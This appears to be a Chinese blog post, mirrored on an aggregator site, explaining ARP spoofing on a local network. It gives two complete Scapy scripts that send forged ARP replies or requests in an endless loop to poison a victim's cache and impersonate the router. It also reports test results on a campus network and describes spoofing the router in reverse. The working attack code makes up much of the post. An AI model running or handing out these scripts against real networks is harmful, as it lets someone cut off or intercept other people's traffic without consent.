zoukankan      html  css  js  c++  java
  • ARP 攻击

    场景

    A攻击者 192.168.1.3 00:00:00:00:00:01
    B受害者 192.168.1.2 00:00:00:00:00:02
    C路由器 192.168.1.1 00:00:00:00:00:03

    要求: ARP欺骗,满足要求A/B在共同路由器C下,即同一局域网。

    实现与实现

    原理

    原理:
    简单点说就一句话:A发送自己的mac给B说,我是192.168.1.1,我的mac地址是00:00:00:00:00:01
    这样B在上网的时候就跑到A这里来了,A不提供路由功能的话B就上不了网了。

    注意: 这里有一点注意就是A要持续给B发送ARP报文,停止发送后受害者B可以很快再寻找到真正的路由器mac地址

    代码实现

    from scapy.all import *
    
    myarp = ARP()#构造ARP初始报文
    myarp.hwsrc= 'e0:3f:49:a1:99:6c'
    myarp.psrc = '172.17.168.1'
    myarp.pdst = '172.17.174.73'
    while True:
    	send(myarp)
    

    代码解释

    172.17.174.73 的主机发送arp报文说,172.17.168.1 的mac地址是 e0:3f:49:a1:99:6c

    注:
    hwsrc 发送方Mac地址
    psrc 发送方ip地址
    hwdst 目标mac地址
    pdst 目标ip地址

    局限

    经过测试,在同一个房间内连接同一个普通交换机的其他主机是可以被攻击掉的。但是两台pc如果同时连接到校园网的校级路由器,校级路由器比较高级,可能会过滤掉你的arp欺骗报文,导致失败

    反向欺骗,欺骗路由器。我实际是A,我对路由器说,我的 ip 是 192.168.1.2 ,我的 mac 是 00:00:00:00:00:01 。这样,路由器把应该送给B的数据就送给A了。在校级路由器上同样测试失败。
    当我欺骗路由器时候,A发送ARP,B也会间隔时间自动发送ARP,就出现来下面的一幕

    问题

    如果构造三层数据包(上述源码),通过本机的wireshark 可以抓取到,但是连接同一个交换机的其他pc的wireshark无法抓到
    如果构造二层数据包,则两台pc的wireshark都可以抓取到

    示例构造二层数据包源码:

    from scapy.all import *
    from time import sleep
    
    myarp = ARP()#构造ARP初始报文
    myarp.hwsrc= 'e0:3f:49:a1:99:6c'
    myarp.psrc = '172.17.168.1'
    
    myarp.pdst = '172.17.172.223'
    myarp.op = 1
    
    while True:
    	sendp(Ether(dst = 'FF:FF:FF:FF:FF:FF')
            		/myarp, 
            		iface = "eth-1",
            		verbose = True)
    

    要点:Don't be evil

  • 相关阅读:
    HDOJ2553 N皇后问题
    NYOJ284 坦克大战 BFS/优先队列
    NYOJ14 会场安排问题 贪心
    POJ1664 放苹果
    NYOJ119 士兵杀敌(三) RMQ
    POJ3264 Balanced Lineup RMQ/线段树
    POJ1127 Jack Straws
    HDOJ1128 Self Numbers
    水晶报表CrystalReports很强大也很简单!
    PetShop项目学习笔记(三)
  • 原文地址:https://www.cnblogs.com/maskerk/p/10009724.html
Copyright © 2011-2022 走看看